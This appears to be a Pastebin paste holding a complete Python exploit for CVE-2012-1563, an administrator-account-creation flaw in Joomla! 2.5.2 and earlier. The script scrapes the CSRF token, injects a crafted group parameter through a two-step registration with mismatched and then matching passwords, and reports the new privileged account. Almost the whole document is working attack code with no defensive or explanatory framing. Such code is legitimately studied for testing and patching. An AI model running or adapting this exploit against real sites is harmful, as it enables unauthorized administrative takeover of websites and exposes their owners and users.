Advertisement
Guest User

Joomla! 2.5.2 - Admin Creation Exploit

a guest
Jan 26th, 2017
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.48 KB | None | 0 0
  1. #!/usr/bin/python3
  2. # CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
  3. # cf
  4.  
  5. import bs4
  6. import requests
  7. import random
  8.  
  9.  
  10. url = 'http://vmweb.lan/joomla-cms-2.5.2/'
  11. form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form'
  12. action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'
  13.  
  14. username = 'user%d' % random.randrange(1000, 10000)
  15. email = username + '@yopmail.com'
  16. password = 'ActualRandomChimpanzee123'
  17.  
  18. user_data = {
  19.     'name': username,
  20.     'username': username,
  21.     'password1': password,
  22.     'password2': password + 'XXXinvalid',
  23.     'email1': email,
  24.     'email2': email,
  25.     'groups][': '7'
  26. }
  27.  
  28. session = requests.Session()
  29.  
  30. # Grab original data from the form, including the CSRF token
  31.  
  32. response = session.get(form_url)
  33. soup = bs4.BeautifulSoup(response.text, 'lxml')
  34.  
  35. form = soup.find('form', id='member-registration')
  36. data = {e['name']: e['value'] for e in form.find_all('input')}
  37.  
  38. # Build our modified data array
  39.  
  40. user_data = {'%s]' % k: v for k, v in user_data.items()}
  41. data.update(user_data)
  42.  
  43. # First request will get denied because the two passwords are mismatched
  44.  
  45. response = session.post(action_url, data=data)
  46.  
  47. # The second will work
  48.  
  49. data['jform[password2]'] = data['jform[password1]']
  50. del data['jform[groups][]']
  51. response = session.post(action_url, data=data)
  52.  
  53. print("Account created for user: %s [%s]" % (username, email))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement